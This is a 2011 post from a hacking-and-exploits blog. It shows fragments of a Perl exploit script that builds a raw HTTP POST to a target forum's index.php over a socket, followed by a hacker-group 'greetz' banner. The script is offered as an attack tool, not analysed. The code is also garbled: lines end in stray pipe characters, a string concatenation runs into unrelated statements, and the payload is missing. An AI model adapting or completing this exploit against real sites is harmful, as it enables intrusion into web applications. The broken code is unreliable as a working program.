Saturday, August 6, 2011
#!/c:/perl/bin
if ( @ARGV < 2) { &usage } |
$host =~ s/(http:\/\/)//eg; |
$foo = "POST " . $dir . "index.php HTTP/1.1\r\n" . |
"Accept-Language: en-gb\r\n" . |
"Content-Type: application/x-www-form-urlencoded\r\n" . |
"Accept-Encoding: gzip, deflate\r\n" . |
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n" . |
"Content-Length: $len\r\n" . |
"Connection: Keep-Alive\r\n" . |
"Cache-Control: no-cache\r\n\r\n" . |
my $proto = getprotobyname ( 'tcp' ); |
socket ( SOCKET , PF_INET, SOCK_STREAM, $proto ); |
connect ( SOCKET , sockaddr_in( $port , inet_aton( $host ))) || redo ; |
print "\tex: $0 127.0.0.1 /forum/\n" ; |
print "\tex2: $0 127.0.0.1 /\n\n" ; |
[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}---------------------------------- |
[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987 |
[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ |
[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4 |
[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec)) |
[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA |
[~] !'M 4R48!4N 3XPL0!73R. |
[~] {[(D!R 4ll 0R D!E)]}; |
[~]--------------------------------------------------------------------------------
- Copyright ©
.Hacking Cracking Tricks And Tutorials, Paid Scripts, Latest Exploits, 0Day Vulnerability, - Skyblue - Powered by Blogger - Designed by Johanes Djogan -